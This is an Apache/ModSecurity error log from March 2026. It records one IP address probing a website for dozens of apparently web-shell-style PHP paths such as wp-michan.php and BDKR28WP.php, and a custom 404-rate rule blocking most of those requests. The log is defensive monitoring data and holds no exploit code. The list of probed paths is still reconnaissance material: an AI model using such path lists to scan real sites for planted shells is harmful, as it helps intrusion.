[Mon Mar 23 18:43:33.007506 2026] [:error] [pid 14573:tid 14582] [client 65.52.65.130:4064] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "acEZVe-oSmHn3q4_J1HPLwAAAUc"]
[Mon Mar 23 18:43:33.510178 2026] [:error] [pid 14573:tid 14575] [client 65.52.65.130:4055] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "acEZVe-oSmHn3q4_J1HPMAAAAUA"]
[Mon Mar 23 18:43:34.043149 2026] [:error] [pid 14573:tid 14593] [client 65.52.65.130:16816] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "acEZVu-oSmHn3q4_J1HPMQAAAVI"]
[Mon Mar 23 18:43:34.555458 2026] [:error] [pid 14573:tid 14584] [client 65.52.65.130:16859] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "acEZVu-oSmHn3q4_J1HPMgAAAUk"]
[Mon Mar 23 18:43:35.095602 2026] [:error] [pid 57265:tid 57273] [client 65.52.65.130:4079] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "acEZV2NLjPJJkhuqCshItwAAAQY"]
[Mon Mar 23 18:43:39.696728 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:16829] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "acEZW2NLjPJJkhuqCshIyAAAAQ4"]
[Mon Mar 23 18:43:40.289905 2026] [:error] [pid 35165:tid 35192] [client 65.52.65.130:3992] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "acEZXM6udpN6Esk7JKu-_AAAAZg"]
[Mon Mar 23 18:43:40.970779 2026] [:error] [pid 57265:tid 57280] [client 65.52.65.130:4061] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acEZXGNLjPJJkhuqCshIywAAAQ0"]
[Mon Mar 23 18:43:41.508701 2026] [:error] [pid 35165:tid 35172] [client 65.52.65.130:16860] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acEZXc6udpN6Esk7JKu-_gAAAYQ"]
[Mon Mar 23 18:43:42.158658 2026] [:error] [pid 23539:tid 23568] [client 65.52.65.130:3972] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acEZXn7Dh3qWGSpIAZUjywAAANQ"]
[Mon Mar 23 18:43:42.854764 2026] [:error] [pid 35165:tid 35187] [client 65.52.65.130:16870] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "acEZXs6udpN6Esk7JKu_AAAAAZM"]
[Mon Mar 23 18:43:44.465824 2026] [:error] [pid 23439:tid 23454] [client 65.52.65.130:16778] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "acEZYKZv8XIzUKdgaMeS2QAAAAU"]
[Mon Mar 23 18:43:44.993656 2026] [:error] [pid 23439:tid 23462] [client 65.52.65.130:16883] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "acEZYKZv8XIzUKdgaMeS2wAAAA0"]
[Mon Mar 23 18:43:45.586075 2026] [:error] [pid 23539:tid 23554] [client 65.52.65.130:4086] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "acEZYX7Dh3qWGSpIAZUjzwAAAMY"]
[Mon Mar 23 18:43:51.778844 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:4036] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "acEZZ2NLjPJJkhuqCshI7AAAAQQ"]
[Mon Mar 23 18:43:52.520150 2026] [:error] [pid 14573:tid 14599] [client 65.52.65.130:16773] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "acEZaO-oSmHn3q4_J1HPRAAAAVg"]
[Mon Mar 23 18:43:53.265131 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:16830] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "acEZaWNLjPJJkhuqCshI7gAAAQ4"]
[Mon Mar 23 18:43:53.844727 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:4052] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "acEZaWNLjPJJkhuqCshI8QAAAQQ"]
[Mon Mar 23 18:43:56.362646 2026] [:error] [pid 23539:tid 23555] [client 65.52.65.130:4074] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "acEZbH7Dh3qWGSpIAZUj2AAAAMc"]
[Mon Mar 23 18:43:56.873826 2026] [:error] [pid 23539:tid 23563] [client 65.52.65.130:16800] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acEZbH7Dh3qWGSpIAZUj2QAAAM8"]
[Mon Mar 23 18:43:57.532766 2026] [:error] [pid 57265:tid 57290] [client 65.52.65.130:4056] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acEZbWNLjPJJkhuqCshI9QAAARc"]
[Mon Mar 23 18:43:58.078166 2026] [:error] [pid 23439:tid 23470] [client 65.52.65.130:16768] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acEZbqZv8XIzUKdgaMeS3QAAABU"]
[Mon Mar 23 18:43:58.604492 2026] [:error] [pid 14573:tid 14585] [client 65.52.65.130:4040] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acEZbu-oSmHn3q4_J1HPWAAAAUo"]
[Mon Mar 23 18:43:59.162154 2026] [:error] [pid 23539:tid 23561] [client 65.52.65.130:3970] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "acEZb37Dh3qWGSpIAZUj3AAAAM0"]
[Mon Mar 23 18:44:03.014451 2026] [:error] [pid 14573:tid 14596] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Mon Mar 23 18:44:03.268193 2026] [:error] [pid 14573:tid 14578] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Mon Mar 23 18:44:03.521910 2026] [:error] [pid 14573:tid 14598] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Mon Mar 23 18:44:03.775110 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Mon Mar 23 18:44:04.028434 2026] [:error] [pid 14573:tid 14594] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Mon Mar 23 18:44:05.237359 2026] [:error] [pid 14573:tid 14592] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/ff1.php
[Mon Mar 23 18:44:05.491799 2026] [:error] [pid 14573:tid 14582] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/fff.php
[Mon Mar 23 18:44:06.647513 2026] [:error] [pid 14573:tid 14596] [client 65.52.65.130:3915] File does not exist: /usr/local/apache/htdocs/suspended-page/155.php
[Mon Mar 23 18:44:07.431962 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:3915] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "acEZd--oSmHn3q4_J1HPdAAAAUQ"]
[Mon Mar 23 18:44:08.056408 2026] [:error] [pid 14573:tid 14591] [client 65.52.65.130:4029] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "acEZeO-oSmHn3q4_J1HPdwAAAVA"]
[Mon Mar 23 18:44:08.682901 2026] [:error] [pid 57265:tid 57276] [client 65.52.65.130:3977] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "acEZeGNLjPJJkhuqCshJCAAAAQk"]
[Mon Mar 23 18:44:09.235671 2026] [:error] [pid 23539:tid 23558] [client 65.52.65.130:4095] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "acEZeX7Dh3qWGSpIAZUj6QAAAMo"]
[Mon Mar 23 18:44:09.902957 2026] [:error] [pid 23440:tid 23482] [client 65.52.65.130:3997] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "acEZeT49_8n8h_ttcUo2CgAAAEY"]
[Mon Mar 23 18:44:10.547671 2026] [:error] [pid 23539:tid 23555] [client 65.52.65.130:4077] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "acEZen7Dh3qWGSpIAZUj7AAAAMc"]
[Mon Mar 23 18:44:11.212093 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:3984] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "acEZe2NLjPJJkhuqCshJFAAAAQ4"]
[Mon Mar 23 18:44:11.891376 2026] [:error] [pid 23441:tid 23505] [client 65.52.65.130:4050] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "acEZexq7S-oOqSXZEr7fwQAAAII"]
[Mon Mar 23 18:44:12.512488 2026] [:error] [pid 23439:tid 23453] [client 65.52.65.130:16889] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "acEZfKZv8XIzUKdgaMeS4gAAAAQ"]
[Mon Mar 23 18:44:13.171816 2026] [:error] [pid 23441:tid 23525] [client 65.52.65.130:4069] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "acEZfRq7S-oOqSXZEr7fxAAAAJY"]
[Mon Mar 23 18:44:13.708045 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:16882] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "acEZfWNLjPJJkhuqCshJIAAAAQ8"]
[Mon Mar 23 18:44:14.268497 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:3974] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "acEZfn7Dh3qWGSpIAZUj8AAAANA"]
[Mon Mar 23 18:44:14.883753 2026] [:error] [pid 23441:tid 23518] [client 65.52.65.130:4046] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "acEZfhq7S-oOqSXZEr7fyAAAAI8"]
[Mon Mar 23 18:44:15.451100 2026] [:error] [pid 23441:tid 23512] [client 65.52.65.130:3987] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "acEZfxq7S-oOqSXZEr7fygAAAIk"]
[Mon Mar 23 18:44:16.180016 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:4063] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "acEZgGNLjPJJkhuqCshJIwAAAQ4"]
[Mon Mar 23 18:44:16.745723 2026] [:error] [pid 57265:tid 57276] [client 65.52.65.130:4033] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-michan.php"] [unique_id "acEZgGNLjPJJkhuqCshJJwAAAQk"]
[Mon Mar 23 18:44:17.350693 2026] [:error] [pid 14573:tid 14577] [client 65.52.65.130:16836] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acEZge-oSmHn3q4_J1HP0gAAAUI"]
[Mon Mar 23 18:44:17.899519 2026] [:error] [pid 57265:tid 57273] [client 65.52.65.130:4039] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acEZgWNLjPJJkhuqCshJMAAAAQY"]
[Mon Mar 23 18:44:18.434980 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:16790] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acEZgmNLjPJJkhuqCshJMgAAAQQ"]
[Mon Mar 23 18:44:18.995317 2026] [:error] [pid 57265:tid 57277] [client 65.52.65.130:4067] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acEZgmNLjPJJkhuqCshJOQAAAQo"]
[Mon Mar 23 18:44:19.576281 2026] [:error] [pid 57265:tid 57267] [client 65.52.65.130:4090] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acEZg2NLjPJJkhuqCshJPAAAAQA"]
[Mon Mar 23 18:44:20.175303 2026] [:error] [pid 57265:tid 57273] [client 65.52.65.130:4094] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acEZhGNLjPJJkhuqCshJPQAAAQY"]
[Mon Mar 23 18:44:20.725706 2026] [:error] [pid 57265:tid 57271] [client 65.52.65.130:3979] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acEZhGNLjPJJkhuqCshJPwAAAQQ"]
[Mon Mar 23 18:44:21.311898 2026] [:error] [pid 57265:tid 57289] [client 65.52.65.130:4082] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acEZhWNLjPJJkhuqCshJQgAAARY"]
[Mon Mar 23 18:44:24.925752 2026] [:error] [pid 35165:tid 35192] [client 65.52.65.130:16867] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "acEZiM6udpN6Esk7JKu_IwAAAZg"]
[Mon Mar 23 18:44:25.503042 2026] [:error] [pid 57265:tid 57286] [client 65.52.65.130:3949] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "acEZiWNLjPJJkhuqCshJWAAAARM"]
[Mon Mar 23 18:44:29.154479 2026] [:error] [pid 23440:tid 23491] [client 65.52.65.130:16775] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "acEZjT49_8n8h_ttcUo2DQAAAE8"]
[Mon Mar 23 18:44:29.821830 2026] [:error] [pid 35165:tid 35186] [client 65.52.65.130:4002] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "acEZjc6udpN6Esk7JKu_JwAAAZI"]
[Mon Mar 23 18:44:31.826650 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:4089] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acEZj--oSmHn3q4_J1HP6gAAAUw"]
